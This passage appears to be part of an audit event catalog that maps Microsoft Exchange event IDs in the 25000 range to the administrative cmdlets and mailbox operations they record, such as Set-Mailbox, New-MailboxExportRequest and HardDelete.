issued,Exchange 25315,Remove-OwaVirtualDirectory Exchange cmdlet issued,Exchange 25316,Remove-PublicFolder Exchange cmdlet issued,Exchange 25317,Remove-PublicFolderAdministrativePermission Exchange cmdlet issued,Exchange 25318,Remove-PublicFolderClientPermission Exchange cmdlet issued,Exchange 25319,Remove-PublicFolderDatabase Exchange cmdlet issued,Exchange 25320,Remove-ReceiveConnector Exchange cmdlet issued,Exchange 25321,Remove-RemoteDomain Exchange cmdlet issued,Exchange 25322,Remove-RemoteMailbox Exchange cmdlet issued,Exchange 25323,Remove-RetentionPolicy Exchange cmdlet issued,Exchange 25324,Remove-RetentionPolicyTag Exchange cmdlet issued,Exchange 25325,Remove-RoleAssignmentPolicy Exchange cmdlet issued,Exchange 25326,Remove-RoleGroup Exchange cmdlet issued,Exchange 25327,Remove-RoleGroupMember Exchange cmdlet issued,Exchange 25328,Remove-RoutingGroupConnector Exchange cmdlet issued,Exchange 25329,Remove-RpcClientAccess Exchange cmdlet issued,Exchange 25330,Remove-SendConnector Exchange cmdlet issued,Exchange 25331,Remove-SharingPolicy Exchange cmdlet issued,Exchange 25332,Remove-StoreMailbox Exchange cmdlet issued,Exchange 25333,Remove-SystemMessage Exchange cmdlet issued,Exchange 25334,Remove-ThrottlingPolicy Exchange cmdlet issued,Exchange 25335,Remove-TransportRule Exchange cmdlet issued,Exchange 25336,Remove-UMAutoAttendant Exchange cmdlet issued,Exchange 25337,Remove-UMDialPlan Exchange cmdlet issued,Exchange 25338,Remove-UMHuntGroup Exchange cmdlet issued,Exchange 25339,Remove-UMIPGateway Exchange cmdlet issued,Exchange 25340,Remove-UMMailboxPolicy Exchange cmdlet issued,Exchange 25341,Remove-WebServicesVirtualDirectory Exchange cmdlet issued,Exchange 25342,Remove-X400AuthoritativeDomain Exchange cmdlet issued,Exchange 25343,Restore-DatabaseAvailabilityGroup Exchange cmdlet issued,Exchange 25344,Restore-DetailsTemplate Exchange cmdlet issued,Exchange 25345,Restore-Mailbox Exchange cmdlet issued,Exchange 25346,Resume-MailboxDatabaseCopy Exchange cmdlet issued,Exchange 25347,Resume-MailboxExportRequest Exchange cmdlet issued,Exchange 25348,Resume-MailboxRestoreRequest Exchange cmdlet issued,Exchange 25349,Resume-Message Exchange cmdlet issued,Exchange 25350,Resume-MoveRequest Exchange cmdlet issued,Exchange 25351,Resume-PublicFolderReplication Exchange cmdlet issued,Exchange 25352,Resume-Queue Exchange cmdlet issued,Exchange 25353,Retry-Queue Exchange cmdlet issued,Exchange 25354,Send-TextMessagingVerificationCode Exchange cmdlet issued,Exchange 25355,Set-AcceptedDomain Exchange cmdlet issued,Exchange 25356,Set-ActiveSyncDeviceAccessRule Exchange cmdlet issued,Exchange 25357,Set-ActiveSyncMailboxPolicy Exchange cmdlet issued,Exchange 25358,Set-ActiveSyncOrganizationSettings Exchange cmdlet issued,Exchange 25359,Set-ActiveSyncVirtualDirectory Exchange cmdlet issued,Exchange 25360,Set-AddressList Exchange cmdlet issued,Exchange 25361,Set-AdminAuditLogConfig Exchange cmdlet issued,Exchange 25362,Set-ADServerSettings Exchange cmdlet issued,Exchange 25363,Set-ADSite Exchange cmdlet issued,Exchange 25364,Set-AdSiteLink Exchange cmdlet issued,Exchange 25365,Set-AutodiscoverVirtualDirectory Exchange cmdlet issued,Exchange 25366,Set-AvailabilityConfig Exchange cmdlet issued,Exchange 25367,Set-AvailabilityReportOutage Exchange cmdlet issued,Exchange 25368,Set-CalendarNotification Exchange cmdlet issued,Exchange 25369,Set-CalendarProcessing Exchange cmdlet issued,Exchange 25370,Set-CASMailbox Exchange cmdlet issued,Exchange 25371,Set-ClientAccessArray Exchange cmdlet issued,Exchange 25372,Set-ClientAccessServer Exchange cmdlet issued,Exchange 25373,Set-CmdletExtensionAgent Exchange cmdlet issued,Exchange 25374,Set-Contact Exchange cmdlet issued,Exchange 25375,Set-ContentFilterConfig Exchange cmdlet issued,Exchange 25376,Set-DatabaseAvailabilityGroup Exchange cmdlet issued,Exchange 25377,Set-DatabaseAvailabilityGroupNetwork Exchange cmdlet issued,Exchange 25378,Set-DeliveryAgentConnector Exchange cmdlet issued,Exchange 25379,Set-DetailsTemplate Exchange cmdlet issued,Exchange 25380,Set-DistributionGroup Exchange cmdlet issued,Exchange 25381,Set-DynamicDistributionGroup Exchange cmdlet issued,Exchange 25382,Set-EcpVirtualDirectory Exchange cmdlet issued,Exchange 25383,Set-EdgeSyncServiceConfig Exchange cmdlet issued,Exchange 25384,Set-EmailAddressPolicy Exchange cmdlet issued,Exchange 25385,Set-EventLogLevel Exchange cmdlet issued,Exchange 25386,Set-ExchangeAssistanceConfig Exchange cmdlet issued,Exchange 25387,Set-ExchangeServer Exchange cmdlet issued,Exchange 25388,Set-FederatedOrganizationIdentifier Exchange cmdlet issued,Exchange 25389,Set-FederationTrust Exchange cmdlet issued,Exchange 25390,Set-ForeignConnector Exchange cmdlet issued,Exchange 25391,Set-GlobalAddressList Exchange cmdlet issued,Exchange 25392,Set-Group Exchange cmdlet issued,Exchange 25393,Set-ImapSettings Exchange cmdlet issued,Exchange 25394,Set-InboxRule Exchange cmdlet issued,Exchange 25395,Set-IPAllowListConfig Exchange cmdlet issued,Exchange 25396,Set-IPAllowListProvider Exchange cmdlet issued,Exchange 25397,Set-IPAllowListProvidersConfig Exchange cmdlet issued,Exchange 25398,Set-IPBlockListConfig Exchange cmdlet issued,Exchange 25399,Set-IPBlockListProvider Exchange cmdlet issued,Exchange 25400,Set-IPBlockListProvidersConfig Exchange cmdlet issued,Exchange 25401,Set-IRMConfiguration Exchange cmdlet issued,Exchange 25402,Set-JournalRule Exchange cmdlet issued,Exchange 25403,Set-Mailbox Exchange cmdlet issued,Exchange 25404,Set-MailboxAuditBypassAssociation Exchange cmdlet issued,Exchange 25405,Set-MailboxAutoReplyConfiguration Exchange cmdlet issued,Exchange 25406,Set-MailboxCalendarConfiguration Exchange cmdlet issued,Exchange 25407,Set-MailboxCalendarFolder Exchange cmdlet issued,Exchange 25408,Set-MailboxDatabase Exchange cmdlet issued,Exchange 25409,Set-MailboxDatabaseCopy Exchange cmdlet issued,Exchange 25410,Set-MailboxFolderPermission Exchange cmdlet issued,Exchange 25411,Set-MailboxJunkEmailConfiguration Exchange cmdlet issued,Exchange 25412,Set-MailboxMessageConfiguration Exchange cmdlet issued,Exchange 25413,Set-MailboxRegionalConfiguration Exchange cmdlet issued,Exchange 25414,Set-MailboxRestoreRequest Exchange cmdlet issued,Exchange 25415,Set-MailboxServer Exchange cmdlet issued,Exchange 25416,Set-MailboxSpellingConfiguration Exchange cmdlet issued,Exchange 25417,Set-MailContact Exchange cmdlet issued,Exchange 25418,Set-MailPublicFolder Exchange cmdlet issued,Exchange 25419,Set-MailUser Exchange cmdlet issued,Exchange 25420,Set-ManagedContentSettings Exchange cmdlet issued,Exchange 25421,Set-ManagedFolder Exchange cmdlet issued,Exchange 25422,Set-ManagedFolderMailboxPolicy Exchange cmdlet issued,Exchange 25423,Set-ManagementRoleAssignment Exchange cmdlet issued,Exchange 25424,Set-ManagementRoleEntry Exchange cmdlet issued,Exchange 25425,Set-ManagementScope Exchange cmdlet issued,Exchange 25426,Set-MessageClassification Exchange cmdlet issued,Exchange 25427,Set-MoveRequest Exchange cmdlet issued,Exchange 25428,Set-OabVirtualDirectory Exchange cmdlet issued,Exchange 25429,Set-OfflineAddressBook Exchange cmdlet issued,Exchange 25430,Set-OrganizationConfig Exchange cmdlet issued,Exchange 25431,Set-OrganizationRelationship Exchange cmdlet issued,Exchange 25432,Set-OutlookAnywhere Exchange cmdlet issued,Exchange 25433,Set-OutlookProtectionRule Exchange cmdlet issued,Exchange 25434,Set-OutlookProvider Exchange cmdlet issued,Exchange 25435,Set-OwaMailboxPolicy Exchange cmdlet issued,Exchange 25436,Set-OwaVirtualDirectory Exchange cmdlet issued,Exchange 25437,Set-PopSettings Exchange cmdlet issued,Exchange 25438,Set-PowerShellVirtualDirectory Exchange cmdlet issued,Exchange 25439,Set-PublicFolder Exchange cmdlet issued,Exchange 25440,Set-PublicFolderDatabase Exchange cmdlet issued,Exchange 25441,Set-ReceiveConnector Exchange cmdlet issued,Exchange 25442,Set-RecipientFilterConfig Exchange cmdlet issued,Exchange 25443,Set-RemoteDomain Exchange cmdlet issued,Exchange 25444,Set-RemoteMailbox Exchange cmdlet issued,Exchange 25445,Set-ResourceConfig Exchange cmdlet issued,Exchange 25446,Set-RetentionPolicy Exchange cmdlet issued,Exchange 25447,Set-RetentionPolicyTag Exchange cmdlet issued,Exchange 25448,Set-RoleAssignmentPolicy Exchange cmdlet issued,Exchange 25449,Set-RoleGroup Exchange cmdlet issued,Exchange 25450,Set-RoutingGroupConnector Exchange cmdlet issued,Exchange 25451,Set-RpcClientAccess Exchange cmdlet issued,Exchange 25452,Set-SendConnector Exchange cmdlet issued,Exchange 25453,Set-SenderFilterConfig Exchange cmdlet issued,Exchange 25454,Set-SenderIdConfig Exchange cmdlet issued,Exchange 25455,Set-SenderReputationConfig Exchange cmdlet issued,Exchange 25456,Set-SharingPolicy Exchange cmdlet issued,Exchange 25457,Set-SystemMessage Exchange cmdlet issued,Exchange 25458,Set-TextMessagingAccount Exchange cmdlet issued,Exchange 25459,Set-ThrottlingPolicy Exchange cmdlet issued,Exchange 25460,Set-ThrottlingPolicyAssociation Exchange cmdlet issued,Exchange 25461,Set-TransportAgent Exchange cmdlet issued,Exchange 25462,Set-TransportConfig Exchange cmdlet issued,Exchange 25463,Set-TransportRule Exchange cmdlet issued,Exchange 25464,Set-TransportServer Exchange cmdlet issued,Exchange 25465,Set-UMAutoAttendant Exchange cmdlet issued,Exchange 25466,Set-UMDialPlan Exchange cmdlet issued,Exchange 25467,Set-UMIPGateway Exchange cmdlet issued,Exchange 25468,Set-UMMailbox Exchange cmdlet issued,Exchange 25469,Set-UMMailboxPIN Exchange cmdlet issued,Exchange 25470,Set-UMMailboxPolicy Exchange cmdlet issued,Exchange 25471,Set-UmServer Exchange cmdlet issued,Exchange 25472,Set-User Exchange cmdlet issued,Exchange 25473,Set-WebServicesVirtualDirectory Exchange cmdlet issued,Exchange 25474,Set-X400AuthoritativeDomain Exchange cmdlet issued,Exchange 25475,Start-DatabaseAvailabilityGroup Exchange cmdlet issued,Exchange 25476,Start-EdgeSynchronization Exchange cmdlet issued,Exchange 25477,Start-ManagedFolderAssistant Exchange cmdlet issued,Exchange 25478,Start-RetentionAutoTagLearning Exchange cmdlet issued,Exchange 25479,Stop-DatabaseAvailabilityGroup Exchange cmdlet issued,Exchange 25480,Stop-ManagedFolderAssistant Exchange cmdlet issued,Exchange 25481,Suspend-MailboxDatabaseCopy Exchange cmdlet issued,Exchange 25482,Suspend-MailboxRestoreRequest Exchange cmdlet issued,Exchange 25483,Suspend-Message Exchange cmdlet issued,Exchange 25484,Suspend-MoveRequest Exchange cmdlet issued,Exchange 25485,Suspend-PublicFolderReplication Exchange cmdlet issued,Exchange 25486,Suspend-Queue Exchange cmdlet issued,Exchange 25487,Test-ActiveSyncConnectivity Exchange cmdlet issued,Exchange 25488,Test-AssistantHealth Exchange cmdlet issued,Exchange 25489,Test-CalendarConnectivity Exchange cmdlet issued,Exchange 25490,Test-EcpConnectivity Exchange cmdlet issued,Exchange 25491,Test-EdgeSynchronization Exchange cmdlet issued,Exchange 25492,Test-ExchangeSearch Exchange cmdlet issued,Exchange 25493,Test-FederationTrust Exchange cmdlet issued,Exchange 25494,Test-FederationTrustCertificate Exchange cmdlet issued,Exchange 25495,Test-ImapConnectivity Exchange cmdlet issued,Exchange 25496,Test-IPAllowListProvider Exchange cmdlet issued,Exchange 25497,Test-IPBlockListProvider Exchange cmdlet issued,Exchange 25498,Test-IRMConfiguration Exchange cmdlet issued,Exchange 25499,Test-Mailflow Exchange cmdlet issued,Exchange 25500,Test-MAPIConnectivity Exchange cmdlet issued,Exchange 25501,Test-MRSHealth Exchange cmdlet issued,Exchange 25502,Test-OrganizationRelationship Exchange cmdlet issued,Exchange 25503,Test-OutlookConnectivity Exchange cmdlet issued,Exchange 25504,Test-OutlookWebServices Exchange cmdlet issued,Exchange 25505,Test-OwaConnectivity Exchange cmdlet issued,Exchange 25506,Test-PopConnectivity Exchange cmdlet issued,Exchange 25507,Test-PowerShellConnectivity Exchange cmdlet issued,Exchange 25508,Test-ReplicationHealth Exchange cmdlet issued,Exchange 25509,Test-SenderId Exchange cmdlet issued,Exchange 25510,Test-ServiceHealth Exchange cmdlet issued,Exchange 25511,Test-SmtpConnectivity Exchange cmdlet issued,Exchange 25512,Test-SystemHealth Exchange cmdlet issued,Exchange 25513,Test-UMConnectivity Exchange cmdlet issued,Exchange 25514,Test-WebServicesConnectivity Exchange cmdlet issued,Exchange 25515,Uninstall-TransportAgent Exchange cmdlet issued,Exchange 25516,Update-AddressList Exchange cmdlet issued,Exchange 25517,Update-DistributionGroupMember Exchange cmdlet issued,Exchange 25518,Update-EmailAddressPolicy Exchange cmdlet issued,Exchange 25519,Update-FileDistributionService Exchange cmdlet issued,Exchange 25520,Update-GlobalAddressList Exchange cmdlet issued,Exchange 25521,Update-MailboxDatabaseCopy Exchange cmdlet issued,Exchange 25522,Update-OfflineAddressBook Exchange cmdlet issued,Exchange 25523,Update-PublicFolder Exchange cmdlet issued,Exchange 25524,Update-PublicFolderHierarchy Exchange cmdlet issued,Exchange 25525,Update-Recipient Exchange cmdlet issued,Exchange 25526,Update-RoleGroupMember Exchange cmdlet issued,Exchange 25527,Update-SafeList Exchange cmdlet issued,Exchange 25528,Write-AdminAuditLog Exchange cmdlet issued,Exchange 25529,Add-GlobalMonitoringOverride Exchange cmdlet issued,Exchange 25530,Add-ResubmitRequest Exchange cmdlet issued,Exchange 25531,Add-ServerMonitoringOverride Exchange cmdlet issued,Exchange 25532,Clear-MobileDevice Exchange cmdlet issued,Exchange 25533,Complete-MigrationBatch Exchange cmdlet issued,Exchange 25534,Disable-App Exchange cmdlet issued,Exchange 25535,Disable-MailboxQuarantine Exchange cmdlet issued,Exchange 25536,Disable-UMCallAnsweringRule Exchange cmdlet issued,Exchange 25537,Disable-UMService Exchange cmdlet issued,Exchange 25538,Dump-ProvisioningCache Exchange cmdlet issued,Exchange 25539,Enable-App Exchange cmdlet issued,Exchange 25540,Enable-MailboxQuarantine Exchange cmdlet issued,Exchange 25541,Enable-UMCallAnsweringRule Exchange cmdlet issued,Exchange 25542,Enable-UMService Exchange cmdlet issued,Exchange 25543,Export-DlpPolicyCollection Exchange cmdlet issued,Exchange 25544,Export-MigrationReport Exchange cmdlet issued,Exchange 25545,Import-DlpPolicyCollection Exchange cmdlet issued,Exchange 25546,Import-DlpPolicyTemplate Exchange cmdlet issued,Exchange 25547,Invoke-MonitoringProbe Exchange cmdlet issued,Exchange 25548,New-AddressBookPolicy Exchange cmdlet issued,Exchange 25549,New-App Exchange cmdlet issued,Exchange 25550,New-AuthServer Exchange cmdlet issued,Exchange 25551,New-ClassificationRuleCollection Exchange cmdlet issued,Exchange 25552,New-DlpPolicy Exchange cmdlet issued,Exchange 25553,New-HybridConfiguration Exchange cmdlet issued,Exchange 25554,New-MailboxExportRequest Exchange cmdlet issued,Exchange 25555,New-MailboxImportRequest Exchange cmdlet issued,Exchange 25556,New-MailboxSearch Exchange cmdlet issued,Exchange 25557,New-MalwareFilterPolicy Exchange cmdlet issued,Exchange 25558,New-MigrationBatch Exchange cmdlet issued,Exchange 25559,New-MigrationEndpoint Exchange cmdlet issued,Exchange 25560,New-MobileDeviceMailboxPolicy Exchange cmdlet issued,Exchange 25561,New-OnPremisesOrganization Exchange cmdlet issued,Exchange 25562,New-PartnerApplication Exchange cmdlet issued,Exchange 25563,New-PolicyTipConfig Exchange cmdlet issued,Exchange 25564,New-PowerShellVirtualDirectory Exchange cmdlet issued,Exchange 25565,New-PublicFolderMigrationRequest Exchange cmdlet issued,Exchange 25566,New-ResourcePolicy Exchange cmdlet issued,Exchange 25567,New-SiteMailboxProvisioningPolicy Exchange cmdlet issued,Exchange 25568,New-SyncMailPublicFolder Exchange cmdlet issued,Exchange 25569,New-UMCallAnsweringRule Exchange cmdlet issued,Exchange 25570,New-WorkloadManagementPolicy Exchange cmdlet issued,Exchange 25571,New-WorkloadPolicy Exchange cmdlet issued,Exchange 25572,Redirect-Message Exchange cmdlet issued,Exchange 25573,Remove-AddressBookPolicy Exchange cmdlet issued,Exchange 25574,Remove-App Exchange cmdlet issued,Exchange 25575,Remove-AuthServer Exchange cmdlet issued,Exchange 25576,Remove-ClassificationRuleCollection Exchange cmdlet issued,Exchange 25577,Remove-DlpPolicy Exchange cmdlet issued,Exchange 25578,Remove-DlpPolicyTemplate Exchange cmdlet issued,Exchange 25579,Remove-GlobalMonitoringOverride Exchange cmdlet issued,Exchange 25580,Remove-HybridConfiguration Exchange cmdlet issued,Exchange 25581,Remove-LinkedUser Exchange cmdlet issued,Exchange 25582,Remove-MailboxExportRequest Exchange cmdlet issued,Exchange 25583,Remove-MailboxImportRequest Exchange cmdlet issued,Exchange 25584,Remove-MailboxSearch Exchange cmdlet issued,Exchange 25585,Remove-MalwareFilterPolicy Exchange cmdlet issued,Exchange 25586,Remove-MalwareFilterRecoveryItem Exchange cmdlet issued,Exchange 25587,Remove-MigrationBatch Exchange cmdlet issued,Exchange 25588,Remove-MigrationEndpoint Exchange cmdlet issued,Exchange 25589,Remove-MigrationUser Exchange cmdlet issued,Exchange 25590,Remove-MobileDevice Exchange cmdlet issued,Exchange 25591,Remove-MobileDeviceMailboxPolicy Exchange cmdlet issued,Exchange 25592,Remove-OnPremisesOrganization Exchange cmdlet issued,Exchange 25593,Remove-PartnerApplication Exchange cmdlet issued,Exchange 25594,Remove-PolicyTipConfig Exchange cmdlet issued,Exchange 25595,Remove-PowerShellVirtualDirectory Exchange cmdlet issued,Exchange 25596,Remove-PublicFolderMigrationRequest Exchange cmdlet issued,Exchange 25597,Remove-ResourcePolicy Exchange cmdlet issued,Exchange 25598,Remove-ResubmitRequest Exchange cmdlet issued,Exchange 25599,Remove-SiteMailboxProvisioningPolicy Exchange cmdlet issued,Exchange 25600,Remove-UMCallAnsweringRule Exchange cmdlet issued,Exchange 25601,Remove-UserPhoto Exchange cmdlet issued,Exchange 25602,Remove-WorkloadManagementPolicy Exchange cmdlet issued,Exchange 25603,Remove-WorkloadPolicy Exchange cmdlet issued,Exchange 25604,Reset-ProvisioningCache Exchange cmdlet issued,Exchange 25605,Resume-MailboxImportRequest Exchange cmdlet issued,Exchange 25606,Resume-MalwareFilterRecoveryItem Exchange cmdlet issued,Exchange 25607,Resume-PublicFolderMigrationRequest Exchange cmdlet issued,Exchange 25608,Set-ActiveSyncDeviceAccessRule Exchange cmdlet issued,Exchange 25609,Set-AddressBookPolicy Exchange cmdlet issued,Exchange 25610,Set-App Exchange cmdlet issued,Exchange 25611,Set-AuthConfig Exchange cmdlet issued,Exchange 25612,Set-AuthServer Exchange cmdlet issued,Exchange 25613,Set-ClassificationRuleCollection Exchange cmdlet issued,Exchange 25614,Set-DlpPolicy Exchange cmdlet issued,Exchange 25615,Set-FrontendTransportService Exchange cmdlet issued,Exchange 25616,Set-HybridConfiguration Exchange cmdlet issued,Exchange 25617,Set-HybridMailflow Exchange cmdlet issued,Exchange 25618,Set-MailboxExportRequest Exchange cmdlet issued,Exchange 25619,Set-MailboxImportRequest Exchange cmdlet issued,Exchange 25620,Set-MailboxSearch Exchange cmdlet issued,Exchange 25621,Set-MailboxTransportService Exchange cmdlet issued,Exchange 25622,Set-MalwareFilteringServer Exchange cmdlet issued,Exchange 25623,Set-MalwareFilterPolicy Exchange cmdlet issued,Exchange 25624,Set-MigrationBatch Exchange cmdlet issued,Exchange 25625,Set-MigrationConfig Exchange cmdlet issued,Exchange 25626,Set-MigrationEndpoint Exchange cmdlet issued,Exchange 25627,Set-MobileDeviceMailboxPolicy Exchange cmdlet issued,Exchange 25628,Set-Notification Exchange cmdlet issued,Exchange 25629,Set-OnPremisesOrganization Exchange cmdlet issued,Exchange 25630,Set-PartnerApplication Exchange cmdlet issued,Exchange 25631,Set-PendingFederatedDomain Exchange cmdlet issued,Exchange 25632,Set-PolicyTipConfig Exchange cmdlet issued,Exchange 25633,Set-PublicFolderMigrationRequest Exchange cmdlet issued,Exchange 25634,Set-ResourcePolicy Exchange cmdlet issued,Exchange 25635,Set-ResubmitRequest Exchange cmdlet issued,Exchange 25636,Set-RMSTemplate Exchange cmdlet issued,Exchange 25637,Set-ServerComponentState Exchange cmdlet issued,Exchange 25638,Set-ServerMonitor Exchange cmdlet issued,Exchange 25639,Set-SiteMailbox Exchange cmdlet issued,Exchange 25640,Set-SiteMailboxProvisioningPolicy Exchange cmdlet issued,Exchange 25641,Set-TransportService Exchange cmdlet issued,Exchange 25642,Set-UMCallAnsweringRule Exchange cmdlet issued,Exchange 25643,Set-UMCallRouterSettings Exchange cmdlet issued,Exchange 25644,Set-UMService Exchange cmdlet issued,Exchange 25645,Set-UserPhoto Exchange cmdlet issued,Exchange 25646,Set-WorkloadPolicy Exchange cmdlet issued,Exchange 25647,Start-MailboxSearch Exchange cmdlet issued,Exchange 25648,Start-MigrationBatch Exchange cmdlet issued,Exchange 25649,Stop-MailboxSearch Exchange cmdlet issued,Exchange 25650,Stop-MigrationBatch Exchange cmdlet issued,Exchange 25651,Suspend-MailboxExportRequest Exchange cmdlet issued,Exchange 25652,Suspend-MailboxImportRequest Exchange cmdlet issued,Exchange 25653,Suspend-PublicFolderMigrationRequest Exchange cmdlet issued,Exchange 25654,Test-ArchiveConnectivity Exchange cmdlet issued,Exchange 25655,Test-MigrationServerAvailability Exchange cmdlet issued,Exchange 25656,Test-OAuthConnectivity Exchange cmdlet issued,Exchange 25657,Test-SiteMailbox Exchange cmdlet issued,Exchange 25658,Update-HybridConfiguration Exchange cmdlet issued,Exchange 25659,Update-PublicFolderMailbox Exchange cmdlet issued,Exchange 25660,Update-SiteMailbox Exchange cmdlet issued,Exchange 25661,Add-AttachmentFilterEntry Exchange cmdlet issued,Exchange 25662,Remove-AttachmentFilterEntry Exchange cmdlet issued,Exchange 25663,New-AddressRewriteEntry Exchange cmdlet issued,Exchange 25664,Remove-AddressRewriteEntry Exchange cmdlet issued,Exchange 25665,Set-AddressRewriteEntry Exchange cmdlet issued,Exchange 25666,Set-AttachmentFilterListConfig Exchange cmdlet issued,Exchange 25667,Set-MailboxSentItemsConfiguration Exchange cmdlet issued,Exchange 25668,Update-MovedMailbox Exchange cmdlet issued,Exchange 25669,Disable-MalwareFilterRule Exchange cmdlet issued,Exchange 25670,Enable-MalwareFilterRule Exchange cmdlet issued,Exchange 25671,New-MalwareFilterRule Exchange cmdlet issued,Exchange 25672,Remove-MalwareFilterRule Exchange cmdlet issued,Exchange 25673,Set-MalwareFilterRule Exchange cmdlet issued,Exchange 25674,Remove-MailboxRepairRequest Exchange cmdlet issued,Exchange 25675,Remove-ServerMonitoringOverride Exchange cmdlet issued,Exchange 25676,Update-ExchangeHelp Exchange cmdlet issued,Exchange 25677,Update-StoreMailboxState Exchange cmdlet issued,Exchange 25678,Disable-PushNotificationProxy Exchange cmdlet issued,Exchange 25679,Enable-PushNotificationProxy Exchange cmdlet issued,Exchange 25680,New-PublicFolderMoveRequest Exchange cmdlet issued,Exchange 25681,Remove-PublicFolderMoveRequest Exchange cmdlet issued,Exchange 25682,Resume-PublicFolderMoveRequest Exchange cmdlet issued,Exchange 25683,Set-PublicFolderMoveRequest Exchange cmdlet issued,Exchange 25684,Suspend-PublicFolderMoveRequest Exchange cmdlet issued,Exchange 25685,Update-DatabaseSchema Exchange cmdlet issued,Exchange 25686,Set-SearchDocumentFormat Exchange cmdlet issued,Exchange 25687,New-AuthRedirect Exchange cmdlet issued,Exchange 25688,New-CompliancePolicySyncNotification Exchange cmdlet issued,Exchange 25689,New-ComplianceServiceVirtualDirectory Exchange cmdlet issued,Exchange 25690,New-DatabaseAvailabilityGroupConfiguration Exchange cmdlet issued,Exchange 25691,New-DataClassification Exchange cmdlet issued,Exchange 25692,New-Fingerprint Exchange cmdlet issued,Exchange 25693,New-IntraOrganizationConnector Exchange cmdlet issued,Exchange 25694,New-MailboxDeliveryVirtualDirectory Exchange cmdlet issued,Exchange 25695,New-MapiVirtualDirectory Exchange cmdlet issued,Exchange 25696,New-OutlookServiceVirtualDirectory Exchange cmdlet issued,Exchange 25697,New-RestVirtualDirectory Exchange cmdlet issued,Exchange 25698,New-SearchDocumentFormat Exchange cmdlet issued,Exchange 25699,New-SettingOverride Exchange cmdlet issued,Exchange 25700,New-SiteMailbox Exchange cmdlet issued,Exchange 25701,Remove-AuthRedirect Exchange cmdlet issued,Exchange 25702,Remove-CompliancePolicySyncNotification Exchange cmdlet issued,Exchange 25703,Remove-ComplianceServiceVirtualDirectory Exchange cmdlet issued,Exchange 25704,Remove-DatabaseAvailabilityGroupConfiguration Exchange cmdlet issued,Exchange 25705,Remove-DataClassification Exchange cmdlet issued,Exchange 25706,Remove-IntraOrganizationConnector Exchange cmdlet issued,Exchange 25707,Remove-MailboxDeliveryVirtualDirectory Exchange cmdlet issued,Exchange 25708,Remove-MapiVirtualDirectory Exchange cmdlet issued,Exchange 25709,Remove-OutlookServiceVirtualDirectory Exchange cmdlet issued,Exchange 25710,Remove-PublicFolderMailboxMigrationRequest Exchange cmdlet issued,Exchange 25711,Remove-PushNotificationSubscription Exchange cmdlet issued,Exchange 25712,Remove-RestVirtualDirectory Exchange cmdlet issued,Exchange 25713,Remove-SearchDocumentFormat Exchange cmdlet issued,Exchange 25714,Remove-SettingOverride Exchange cmdlet issued,Exchange 25715,Remove-SyncMailPublicFolder Exchange cmdlet issued,Exchange 25716,Resume-PublicFolderMailboxMigrationRequest Exchange cmdlet issued,Exchange 25717,Send-MapiSubmitSystemProbe Exchange cmdlet issued,Exchange 25718,Set-AuthRedirect Exchange cmdlet issued,Exchange 25719,Set-ClientAccessService Exchange cmdlet issued,Exchange 25720,Set-Clutter Exchange cmdlet issued,Exchange 25721,Set-ComplianceServiceVirtualDirectory Exchange cmdlet issued,Exchange 25722,Set-ConsumerMailbox Exchange cmdlet issued,Exchange 25723,Set-DatabaseAvailabilityGroupConfiguration Exchange cmdlet issued,Exchange 25724,Set-DataClassification Exchange cmdlet issued,Exchange 25725,Set-IntraOrganizationConnector Exchange cmdlet issued,Exchange 25726,Set-LogExportVirtualDirectory Exchange cmdlet issued,Exchange 25727,Set-MailboxDeliveryVirtualDirectory Exchange cmdlet issued,Exchange 25728,Set-MapiVirtualDirectory Exchange cmdlet issued,Exchange 25729,Set-OutlookServiceVirtualDirectory Exchange cmdlet issued,Exchange 25730,Set-PublicFolderMailboxMigrationRequest Exchange cmdlet issued,Exchange 25731,Set-RestVirtualDirectory Exchange cmdlet issued,Exchange 25732,Set-SettingOverride Exchange cmdlet issued,Exchange 25733,Set-SmimeConfig Exchange cmdlet issued,Exchange 25734,Set-SubmissionMalwareFilteringServer Exchange cmdlet issued,Exchange 25735,Set-UMMailboxConfiguration Exchange cmdlet issued,Exchange 25736,Set-UnifiedAuditSetting Exchange cmdlet issued,Exchange 25737,Start-AuditAssistant Exchange cmdlet issued,Exchange 25738,Start-UMPhoneSession Exchange cmdlet issued,Exchange 25739,Stop-UMPhoneSession Exchange cmdlet issued,Exchange 25740,Test-DataClassification Exchange cmdlet issued,Exchange 25741,Test-TextExtraction Exchange cmdlet issued,Exchange Exchange 25000 Undocumented Exchange mailbox operation Exchange 25001 Operation Copy - Copy item to another Exchange mailbox folder Exchange 25002 Operation Create - Create item in Exchange mailbox Exchange 25003 Operation FolderBind - Access Exchange mailbox folder Exchange 25004 Operation HardDelete - Delete Exchange mailbox item permanently from Recoverable Items folder Exchange 25005 Operation MessageBind - Access Exchange mailbox item Exchange 25006 Operation Move - Move item to another Exchange mailbox folder Exchange 25007 Operation MoveToDeletedItems - Move Exchange mailbox item to Deleted Items folder Exchange 25008 Operation SendAs - Send message using Send As Exchange mailbox permissions Exchange 25009 Operation SendOnBehalf - Send message using Send on Behalf Exchange mailbox permissions Exchange 25010 Operation SoftDelete - Delete Exchange mailbox item from Deleted Items folder Exchange 25011 Operation Update - Update Exchange mailbox item's properties Exchange 25100 Information Event - Mailbox audit policy applied Exchange 25100 Undocumented Exchange admin operation Exchange 25101 Add-ADPermission Exchange cmdlet issued Exchange 25102 Add-AvailabilityAddressSpace Exchange cmdlet issued Exchange 25103 Add-ContentFilterPhrase Exchange cmdlet issued Exchange 25104 Add-DatabaseAvailabilityGroupServer Exchange cmdlet issued Exchange 25105 Add-DistributionGroupMember Exchange cmdlet issued Exchange 25106 Add-FederatedDomain Exchange cmdlet issued Exchange 25107 Add-IPAllowListEntry Exchange cmdlet issued Exchange 25108 Add-IPAllowListProvider Exchange cmdlet issued Exchange 25109 Add-IPBlockListEntry Exchange cmdlet issued Exchange 25110 Add-IPBlockListProvider Exchange cmdlet issued Exchange 25111 Add-MailboxDatabaseCopy Exchange cmdlet issued Exchange 25112 Add-MailboxFolderPermission Exchange cmdlet issued Exchange 25113 Add-MailboxPermission Exchange cmdlet issued Exchange 25114 Add-ManagementRoleEntry Exchange cmdlet issued Exchange 25115 Add-PublicFolderAdministrativePermission Exchange cmdlet issued Exchange 25116 Add-PublicFolderClientPermission Exchange cmdlet issued Exchange 25117 Add-RoleGroupMember Exchange cmdlet issued Exchange 25118 Clean-MailboxDatabase Exchange cmdlet issued Exchange 25119 Clear-ActiveSyncDevice Exchange cmdlet issued Exchange 25120 Clear-TextMessagingAccount Exchange cmdlet issued Exchange 25121 Compare-TextMessagingVerificationCode Exchange cmdlet issued Exchange 25122 Connect-Mailbox Exchange cmdlet issued Exchange 25123 Disable-AddressListPaging Exchange cmdlet issued Exchange 25124 